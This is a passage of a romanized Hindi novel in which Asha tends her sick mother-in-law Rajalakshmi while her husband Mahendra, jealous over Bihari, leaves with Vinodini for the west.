bahut dinoan ke bad asha se itani-si bat karake mahendr jaise halka hua. kisi durbhedy kile ki divar-si niravata mano un donoan ke bich syah chhaya dale kh di thi- mahendr ki or se use to dane ka koee hathiyar n tha, aise samay asha ne apane hathoan kile mean ek chhota-sa daravaza khol diya. asha sas ke kamare ke daravaze par kh di rahi. mahendr gaya. use asamay mean apane kamare mean aya dekhakar rajalakshmi ko dar laga. socha, 'kahian phir donoan mean kaha-suni ho gee aur vah chal dene ki kahane aya ho.' poochha- "ab tak soya nahian mahendr?" mahendr ne kaha- "kya dama ukh d aya hai, maan?"

zamane ke bad yah saval sunakar unake man mean man ho aya. samajhian, 'jab bahoo ne jakar bataya, to yah maan ka hal poochhane aya hai.' is avesh se unaka kaleja aur bhi kaanpane laga. kisi tarah bolian- "too so jakar, yah kuchh nahian."

mahendr- "nahian, nahian ek bar jaanch dekhana achchha hai. yah bimari talane ki nahian."

mahendr ko pata tha, maan ko hriday ki bimari hai. is vajah se tatha unake chehare ka lakshan dekhakar use ghabarahat huee.

maan ne kaha- "jaanchane ki zaroorat nahian. meri yah bimari nahian chhootegi."

mahendr ne kaha- "khair, aj ki rat ke lie sone ki dava la deta hooan. savere achchhi tarah se dekha jaega."

rajalakshmi- "dava dher kha chuki, dava se kuchh hota-jata nahian. bahut rat ho gee, tum so jao."

mahendr- "tumhean zara chain to mile."

is par rajalakshmi ne daravaze par kh di bahoo ko sanbodhit karake kaha- "bahoo, tum rat mean mahendr ko tang karane ke lie yahaan kyoan le aeean!"

kahate-kahate unaki saans ki takaliph aur bhi badh gee. tab asha kamare mean aee. usane komal kintu dridh svar mean mahendr se kaha- "tum soo jakar. maian maan ke pas rahooangi."

mahendr ne asha ko alag bulakar kaha- "maianne ek dava lane bheja hai. do-khurak dava hogi. ek se agar niand n ae to ghante-bad doosari khurak dena. rat mean saans aur badhe to mujhe khabar dena."

kahakar mahendr apane kamare mean chala gaya. asha aj jis roop mean usake samane prakat huee, usake lie vah roop naya tha. is asha mean sankoch nahian, dinata nahian- yah asha apane adhikar mean kh di huee thi. apani stri ki mahendr ne apeksha ki thi, magar ghar ki bahoo ke lie sanbhram hua.

asha ne javab n diya. pichhe baithakar pankha jhalane lagi. rajalakshmi ne kaha- "tum soo jakar, bahoo."

asha dhime-se boli- "mujhe yahian rahane ko kah ge haian."

asha samajhati thi ki yah janakar maan khush hoangi ki mahendr use maan ki seva ke lie chho d gaya hai.

44

rajalakshmi ne jab saf samajh liya ki asha mahendr ke man ko baandh nahian pa rahi hai, to unake ji mean aya, kam-se-kam meri bimari ke nate hi mahendr ko yahaan rahana p de, to bhi achchha hai. unhean dar laga, kahian ve sachamuch thik n ho jaean. isalie asha se chhipakar dava pheankane lagian.

anamana mahendr khas kuchh khyal nahian karata tha. lekin asha yah dekh rahi thi ki rajalakshmi ki bimari dabane ke bajay kuchh badh hi rahi hai. vah sochati, 'mahendr khoob soch-vicharakar dava nahian de raha hai- usaka man itana hi kharab ho gaya hai ki maan ki takaliph bhi use sachetan nahian kar pati.' usaki is durgati‍ par asha apane man mean use dhikkare bina n rah saki. ek taraph se big dane par koee kya har taraph se barbad ho jata hai. ek din sham ko bimari ki takaliph mean rajalakshmi ko bihari ki yad a gee. jane vah kab se nahian aya. asha se poochha- "janati ho bahoo, bihari ajakal kahaan hai? usaka mahendr se kuchh jhag da hai, kyoan? yah usane b da beja kiya, bahoo! us- jaisa mahendr ka bhala chahane vala aur koee dost nahian."

kahate-kahate unaki aauankhoan mean aauansoo jama ho ae. ek-ek karake asha ko bahuteri batean yad aeean. aandha aur bholi asha ko samay par chetane ke lie jane kitani bar, kitani koshish bihari ne ki aur unhian koshishoan ke chalate vah asha ka apriy ho utha.

phir b di der tak chupachap chiantit rahakar rajalakshmi bol uthian- "bahoo, bihari hota to hamare is a de vakt mean b da kam ata. vah hamean bachata, bat yahaan tak n badh pati."

asha chupachap sochati rahi. usaans lekar rajalakshmi ne kaha- "use agar meri bimari ka pata chal jae, to vah hargiz nahian ruk sakata."

asha samajh gee, rajalakshmi chahati haian ki bihari ko yah khabar mile. bihari ke n hone se vah asahay-si ho gee haian.

kamare ki batti gul karake chaandani mean mahendr khi daki ke pas chup kh da tha. padhana achchha nahian lag raha tha. ghar mean koee aram nahian. jo nitaant apane haian, unase jab sahaj nata toot jata hai to unhean birane ki tarah asani se chho da nahian ja sakata aur phir priyajan ke saman sahaj hi apanaya bhi nahian ja sakata.

pichhe ahat mili. mahendr ne samajha, asha aee hai. mano ahat use mili hi nahian, is bhav se vah sthir raha. asha bahana ta d gee, phir bhi vah kamare se bahar nahian gee. pichhe kh di-kh di boli- "ek bat hai, vahi kahakar maian chali jaooangi."

mahendr ne palatakar kaha- "jana hi kyoan p dega- zara der baith hi jao."

is bhalamanasahat par usane dhya'n n diya. sthir kh di-kh di boli- "bihari bhaee sahab ko maan ki bimari ki khabar dena lazimi hai."

bihari ka nam sunate hi mahendr ke gahare zakhm par chot lagi. apane ko sanbhalakar vah bola- "lazimi kyoan hai, mere ilaj ka bharosa nahian ho raha hai, kyoan?"

asha ne man mean yah shikayat bhari-si thi ki mahendr maan ke ilaj mean utana dhyaban nahian de raha hai, to usake muanh se nikal p da- "kahaan, unaki bimari to jara bhi nahian sudhari, balki din-din badhati hi ja rahi hai."

is mamooli bat mean jo aauanch thi, mahendr apane ahankar se ahat ho vismit vyangy ke sath bola-"dekhata hooan, tumase daktari sikhani p degi." is vyangy se asha ko usaki jami huee vedana par apratyashit chot lagi. tis par kamara aandhera tha, jo sada hi chup rah jane vali asha aj be-khatake tezi ke sath bol uthi- "daktari n sahi, maan ki seva sikh sakate ho." asha se aisa javab pakar mahendr ke acharaj ki sima n rahi. aise tikhe vaky sunane ka vah adi n tha. vah kathor ho utha. bola- "tumhare bihari bhaee sahab ko yahaan ane ki manahi kyoan ki hai- tum to janati ho- shayad phir yad a gee hai!"

asha tezi se bahar chali gee. sham ki aauandhi mano use dhakelakar le gee. sharm apane lie n thi. jo adami sir se pair tak aparadh mean dooba ho, vah juban par aise jhoothe apavad bhi la sakata hai! itani b di behayaee ko laj ke paha d se bhi nahian dhaka ja sakata.

asha ke chale jane ke bad hi mahendr apani poori har ka anubhav kar saka. mahendr ko maloom bhi n tha ki asha kabhi bhi kisi bhi avastha mean mahendr ko is tarah dhikkar sakati hai. use laga, jahaan usaka sianhasan tha, vahian vah dhool mean lot raha hai. itane dinoan ke bad ab use ye shanka hone lagi, 'asha ki vedana kahian ghrina mean n badal jae.'

aur udhar bihari ki charcha ate hi vinodini ki chianta ne use betab kar diya. pashchim se bihari lauta ya nahian, kaun jane? ho sakata hai, is bich vinodini usaka pata le aee ho, vinodini se bihari ki bheant bhi asanbhav nahian. mahendr se ab pratijna ka palan n ho saka.

rat ko rajalakshmi ki takaliph badh gee. usase n raha gaya. unhoanne mahendr ko bulava bheja. b di takaliph se bolian phooti- "mahendr, bihari ko dekhane ko mera b da ji chahata hai- bahut dinoan se vah nahian aya hai." asha sas ko pankha jhal rahi thi. muanh nicha kiye baithi rahi. mahendr ne kaha- "vah yahaan nahian hai. jane kahaan pachhaanh gaya hai."

rajalakshmi ne kaha- "meri aantaratma kah rahi hai, vah yahaan hai, sirph tujhase roothakar nahian a raha hai. mere sir ki kasam rahi, kal too ek bar usake yahaan jana." mahendr ne kaha- "achchha, jaooanga."

aj sab bihari ke lie pareshan haian.

45

doosare din t dake hi mahendr bihari ke yahaan pahuanch gaya. dekha, daravaze par kee bailaga diyoan par naukar-chakar saman lad rahe haian. mahendr ne bhajjo se poochha- "majara kya hai?" bhajjo ne kaha- "baboo ne bali mean ganga ke kinare ek bagicha liya hai. yah sab vahian ja raha hai." mahendr ne poochha- "baboo ghar par haian kya?" bhajjo ne kaha-"ve sirph do din kalakatta rukakar kal bagiche chale ge."

sunate hi mahendr ka man ashanka se bhar gaya. usaki gairahajiri mean bihari se vinodini ki bheant huee hai, is par use koee sandeh n raha. usane kalpana ki aauankhoan se dekha, vinodini ke dere ke bahar bhi bailaga diyaan lad rahi haian. use yah nishchit-sa laga ki isalie mujh nasamajh ko vinodini ne dere se door hi rakha hai.

pal ki bhi der n karake mahendr ga di par savar hua aur kochavan se haankane ko kaha. bich-bich mean kochavan ko isake lie galiyaan sunaeean ki gho de tej nahian chal rahe haian. gali ke andar dere ke daravaze par pahuanchakar dekha, yatra ki koee taiyari nahian hai. dar laga, vahian yah kam pahale hi n ho chuka ho. tezi se kiva d ke k de khatakhatae. andar se jaise hi boodhe naukar ne daravaza khola, mahendr ne poochha- "sab thik to hai?"

usane kaha- "ji haan, thik hi hai."

oopar jakar mahendr ne dekha, vinodini nahane gee hai. usake soone sone ke kamare mean jakar mahendr vinodini ke rat ke bistar par lot gaya, donoan hathoan se khianchakar chadar ko chhati ke pas le aya aur sooanghakar us par muanh rakhate hue bola- "beraham, nirdayi!"

hriday ke uchchhvas ko is tarah nikalakar vah sej se uthakar vinodini ka intazar karane laga. kamare mean chahalakadami karate hue dekha, pharshsh ke bichhaune par ek akhabar khula p da hai. samay katane ke khyal se kuchh anamana-sa hokar akhabar athakar dekha. jahaan par usaki nazar p di, vahian par bihari ka nam tha. usaka man bat-ki-bat mean akhabar dekhate-dekhate vahian par toot p da. kisi ne sanpadak ke nam patr likha tha, 'mamooli tanakha pane vale garib kiraniyoan ke bimar hone par ni:shulk chikitsa aur seva ke lie bihari ne bali mean ek bagicha kharida hai, vahaan ek sath paanch adamiyoan ke lie prabandh ho chuka hai, adi-adi.'

yah khabar vinodini ne padhi, padhakar usake man mean kya hua hoga! beshak usaka man udhar hi bhag-bhagakar raha hoga. n keval isilie balki mahendr ka ji is vajah se aur bhi chhatapatane laga ki bihari ke is sankalp se usake prati vinodini ki bhakti aur bhi badh jaegi. bihari ko mahendr ne apane man mean 'hambag' aur usake is kam ko 'sanak' kaha.

vinodini ke pairoan ki ahat sunakar mahendr ne akhabar mo d diya. nahakar vinodini kamare mean jo aee, mahendr usake chehare ki taraph dekhakar hairat mean a gaya. usamean jane kaisa ek anokha badalav a gaya tha. mano pichhale kee din tak vah dhooni jalakar tap kar rahi thi. sharir usaka dubala ho gaya tha aur us dubalepan ko bhedakar usake pile chehare se ek damak nikal rahi thi.

bihari ke patr ki ummid usane chho d di hai. apane oopar bihari ki behad hikarat ki kalpana karake vah athoan pahar chupachap jal rahi thi. bihari mano usi ka tiraskar karake pachhaanh chala gaya hai- us tak pahuanch pane ki koee tarakib use nahian soojhi. kam-kaji vinodini kam ki kami se is chhote-se ghar mean ghul rahi thi- usaki sari tatparata khud usi ko ghayal karati huee chot karati thi. usake samooche bhavi jivan ko is premahin, karmahin, anandahin ghar mean is sankari gali mean sada ke lie kaid samajhakar usaki bagi prakriti hath n ane vale adrisht ke khilaf mano asaman se sir marane ki bekar koshish kar rahi thi. nadan mahendr ne vinodini ki mukti ke sare rastoan ko charoan taraph se band karake jivan ko itana sankara bana diya hai, us mahendr ke prati usaki ghrina aur vidvesh ki sima n rahi. vinodini ka dubala-pila chehara dekhakar mahendr ke man mean eershya jal uthi. usamean aisi koee shakti nahian ki vah bihari ki chianta mean lagi is tapasvini ko zabaradasti ukha d sake? giddh jaise memane ko jhapatta marakar dekhate-hi-dekhate apane agam abhrabhedi paha d ke basere mean le bhagata hai, kya vaisi hi koee meghoan se ghiri duniya ki nigahoan se pare jagah nahian, jahaan mahendr akela apane is sundar shikar ko kaleje ke pas chhipakar rakh sake?

virah ki jalan striyoan ke sauandary ko sukumar kar deti hai, aisa mahendr ne sanskrit-kavyoan mean padha tha. aj vinodini ko dekhakar vah jitana hi anubhav karane laga, utana hi sukh-sane du:kh ke alo dan se usaka hriday b da vyathit hone laga.

vinodini zara der sthir rahi. phir poochha- "tum chay pikar ae ho?"

mahendr ne kaha- "samajh lo, pikar hi aya hooan, magar is vajah se apane hath se pyala dene ki kanjoosi mat karo-pyala mujhe do."

shayad janakar hi vinodini ne nihayat nirdayata se mahendr se is uchchhvas ko chot pahuanchaee. kaha- "bihari bhaee sahab in dinoan kahaan haian, maloom hai?"

mahendr ka chehara phak ho gaya. bola- "kalakatta mean to vah nahian haian in dinoan."

vinodini- "pata kya hai unaka?"

mahendr- "yah to vah kisi ko batana nahian chahata."

vinodini- "khoj nahian ki ja sakati poochh-tachh karake?"

mahendr- "mujhe aisi zaroorat nazar nahian ati."

vinodini- 'zaroorat hi kya sab-kuchh hai, bachapan se aj tak ki maitri kya kuchh bhi nahian?"

mahendr- "bihari mera chhutapan ka sathi hai, tumhari dosti mahaz do din ki hai, phir bhi takid tumhari hi zyada hai."

vinodini- "isi se tumhean sharm ani chahie. dosti kaise karani chahie, yah tum apane vaise dost se bhi n sikh sake?"

mahendr- "mujhe isaka qatee malal nahian, magar dhokhe se aurat ka dil kaise liya jata hai, yah vidya usase sikhata to aj kam ati." vinodini- "keval chahane se vah vidya nahian sikhi ja sakati, usaki kshamata honi chahie."

mahendr- "gurudev ka pata maloom ho, to mujhe batao, is umr mean unase diksha le aooan, phir kshamata ki kasauti hogi."

vinodini- "mitr ka pata dhooandh nikalane ki jurrat n ho to prem ki bat juban par mat lao! bihari bhaee sahab se tumane aisa bartav kiya hai ki tum par kaun yakin karega?"

mahendr- "mujh par poora yakin n hota to mera itana apaman n kar patian-mere prem par agar itani nishchintata n hoti, to shayad mujhe itani takaliph n hoti. bihari palatoo n banane ki kala janata hai, vah kala agar is badanasib ko bata deta to vah ek dost ka pharj ada karata."

"akhir bihari adami hai, isi se palatoo nahian banata"- yah kahakar vinodini khule baloan ko pith par bikherakar khi daki par jis tarah kh di thi, kh di rahi. mahendr achanak kh da hua. mutthi kas li aur narajagi se garajakar bola- "akhir bar-bar mera apaman karane ka sahas kyoan karati ho tum? is itane apaman ka koee badala nahian milata, vah tumhari kshamata ke karan ya mere gun se? itana b da purush maian nahian ki chot karana janata hi nahian."

itana kahakar vah vinodini ki taraph dekhata hua zara der stabdh raha, phir bola- "vinod, chalo yahaan se chalean- kahian aur. chahe pachhaanh, chahe kisi paha d par, jahaan tumhara ji chahe- chalo! yahaan jina muhal hai. maian mara ja raha hooan."

vinodini boli- "chalo abhi chalean pachhaanh."

mahendr- "pachhaanh?"

vinodini- "kisi khas jagah nahian. kahian bhi do din rahate- ghoomate phireange."

mahendr- "thik hai, aj hi rat ko chalo!"

vinodini razi hokar mahendr ke lie khana banane gee. mahendr ne samajh liya, bihari vali khabar vinodini ki nazaroan se nahian guzari. akhabar mean ji lagane- jaisi sthiti abhi usake man ki nahian hai. kahian achanak use vah khabar n maloom ho jay, isi udhe d-bun mean mahendr poore din chaukanna raha.

46

bihari ki khoj-khabar lekar mahendr lautega, is asha se ghar mean usaki rasoee bani thi. kafi der ho gee to dukhi rajalakshmi bechain ho uthian. rat-bhar niand n aee thi, isase vah kafi thaki thian, phir mahendr ke lie yah betabi unhean aur kasht de rahi thi. yah dekhakar asha ne poochh-tachhakar yah pata kiya ki mahendr ki ga di vapis a chuki hai. kochavan se maloom hua, mahendr bihari ke yahaan se hota hua pataladaanga ke dere par gaya hai. rajalakshmi ne suna aur divar ki taraph karavat badalakar leti rahian. asha unake sirahane chitr-likhi-si baithi pankha jhalati rahi aur din samay par asha ko khane ke lie jane ka vah adesh kiya karati thian- aj kuchh n kaha. kal jab unaki tabiyat zyada kharab thi, yah dekhakar bhi mahendr vinodini ke moh mean chala gaya, to rajalakshmi ke lie duniya mean kuchh bhi karane ka man bujh gaya. koee do baje asha boli- "maan, dava pine ka vakt ho gaya."

rajalakshmi ne koee javab n diya, chup rahian, asha dava lane jane lagi, to bolian- dava ki zaroorat nahian bahoo, tum jao!"

asha ne maan ke roothane ka marm samajha aur usaki samajh ne usake hriday ke andolan ko doona kar diya. asha se n raha gaya. apani rulaee rokate-rokate vah phaphak p di. rajalakshmi dhire-dhire karavat badalakar asha ki taraph ho gee aur sneh se usaka hath sahalane lagian. kaha- "bahoo, tumhari umr hi kya hai, sukh ka muanh dekhane ka tumhean bahut samay hai. mere lie tum pareshan mat hoo bitiya, maian kafi ji chuki, ab kya hoga jikar?"

asha ki rulaee aur um d aee. usane aauanchal se muanh daba liya. rogi ke ghar is tarah niranand din mand gati se kat gaya. roothe rahane ke bavajood donoan nariyoan ko andar-hi-andar asha thi ki mahendr abhi aega. khataka hote hi donoan ke sharir mean ek chauank-si jagati thi, ise donoan samajh rahi thian. dhire-dhire sooryast ki abha dhuandhali p d gee- kalakatta ke ant:pur mean us godhooli ki abha mean n to khilavat hai, aur n adhere ka avaran hi hota hai- vah vishad ko gahara aur nirasha ke aauansoo sukha dalati hai. karm aur bharose ke bal ko vah chhin leti hai, lekin vishram aur vairagy ki shaanti nahian lati. rog se dukhi ghar ki us sooni aur kuroop saanjh mean asha paanv dabae gee aur diya jalakar kamare mean le aee. rajalakshmi ne kaha, "bahoo, roshani nahian suhati, die ko kamare se bahar rakh do."

asha diye ko bahar rakh aee. ghana hokar adhera jab anant rat ko chhote se kamare mean le aya, to asha ne dhime-se rajalakshmi se poochha- "maan, unhean khabar bhijavaooan kya?"

rajalakshmi ne sakht hokar kaha- "nahian-nahian, tumhean meri kasam, mahendr ko khabar mat dena!"

asha stabdh rah gee. rone ki usamean shakti n thi. kamare ke bahar se baire ne avaz di- "maanji, baboo ke yahaan se chitthi aee hai."

yah suna aur turant rajalakshmi ke man mean aya, 'ho n ho, mahendr ki achanak tabiyat kharab ho gee hai. isilie vah a n saka aur chitthi bheji hai.' chintit aur pareshan hokar unhoanne kaha, "dekho to bahoo, mahendr ne kya likha hai?"

kaanpate hue hathoan se asha ne bahar jakar roshani mean chitthi kholakar padhi. usane likha tha, idhar kuchh dinoan se tabiyat uchat hai, isalie vah ghoomane ke lie pachhaanh ja raha hai. maan ki bimari ke lie khas koee chianta ki bat nahian. unhean barabar dekhane ke lie navin d aauktar se kah diya hai. rat ko unhean niand n ae ya sir-dard ho to kya karana hoga, yah bhi usane likha tha. sath hi davakhane se mangakar usane halke aur takatavar pathy ke do dibbe bhi bhej die the. philahal giridih ke pate par maan ka hal likhane ke lie chitthi mean 'punashch' mean anurodh kiya tha.

chitthi padhakar asha stambhit ho gee- ek zabaradast dhikkar ne usake du:kh ko chhipa liya. yah kathor samachar vah maan ko kis tarah sunae?

asha ke is vilamb se rajalakshmi bahut hi utavali ho uthian. bolian- "bahoo, mujhe batao, mahendr ne kya likha hai?"

asha ne akhir andar baithakar shuroo se akhir tak chitthi padh sunaee. rajalakshmi ne kaha- "apani tabiyat ke bare mean usane kya likha hai, zara vah jagah phir se padho to..." asha ne phir se padha- "idhar kuchh dinoan se tabiyat uchat-si chal rahi thi, isilie maian..."

rajalakshmi- "bas, bas, rahane do. uchat n ho tabiyat, kya ho! bundhi maan marati bhi nahian aur bimar hokar use tang karati hai. tum meri bimari ko kahane usase kyoan gee?" kahakar vah bistar par let gee. bahar jootoan ki charamarahat huee. baire ne kaha- "d aauktar ae haian."

khaansakar d aauktar sahab andar ae. ghooanghat nikalakar asha palang ki a d mean ho gee. d aauktar ne poochha- "apako shikayat kya hai, yah to kahean."

rajalakshmi jhuanjhalakar bolian- "shikayat kyoan hogi? kisi ko marane bhi n deange. apaki dava se hi kya maian amar ho jaooangi?"

rajalakshmi kah uthian- "takaliph ki dava tabhi hoti thi, jab vidhavaean jal marati thian ab to baandhakar marana thahara. ap jaean d aauktar sahab, mujhe tang n karean- maian akeli rahana chahati hooan." d aauktar ne darakar kaha- "zara apaki nabz..."

rajalakshmi ne khijhakar kaha- "maian kah rahi hooan, ap jaie... meri nabz sahi hai- yah khatara nahian ki yah jaldi chhootegi."

lachar hokar d aauktar kamare se bahar chala gaya. usane asha ko bulaya. usase bimari ka sara byaura poochha. sab-kuchh sunakar gambhir-sa hokar vah phir kamare mean gaya. bola- "mahendr mujh par apake ilaj ka bhar sauanp gaya hai. agar ap ilaz n karaeangi, to use du:kh hoga."

mahendr ko du:kh hoga, yah bat rajalakshmi ko mazak jaisi lagi. unhoanne kaha- "mahendr ki itani fikr n karean ap. duniya mean har kisi ko du:kh bhogana p data hai. ap jaean, mujhe sone dean."

d aauktar ne samajha, bimar ko zyada tang karana thik nahian. vah bahar nikala aur jo kuchh karana tha, asha ko bata diya.

asha jab kamare mean lauti, to rajalakshmi bolian- "tum zara aram kar lo jakar, bitiya! tamam din mariz ke pas baithi ho! haroo ki maan se kah do, bagal ke kamare mean baithegi."

asha rajalakshmi ko samajhati thi. yah unake sneh ka agrah nahian, adesh tha- ise man lene ke siva chara nahian. usane haroo ki maan ko bhej diya tha aur apane kamare mean niche let gee.

din-bhar usane khaya-piya nahian. takaliph bhi thi. usaka tan-man choor-choor ho gaya tha. us din p dos mean din mean byah ke baje bajate rahe. abhi phir shahanaee par dhun chhi di. us ragini se chot khakar rat ka adhera kaanpakar asha par bar-bar aghat karane laga. usake apane vivah ke din ki chhoti-se-chhoti ghatana bhi sajiv ho uthi aur sabane milakar rat ke asaman ko svapn ki chhavi se poorn kar diya. kamare mean roshani jalakar vah kagaz liye lagatar aauansoo poanchhati huee likhane baith gee- "poojaniy mausi- tumhare sivay aj mera koee nahian. ek bar ao aur apani is dukhiya ko apani god mean utha lo, varana maian jiooangi kaise! kya likhooan, nahian janati. charanoan mean koti-koti pranam. tumhari pyari chunni"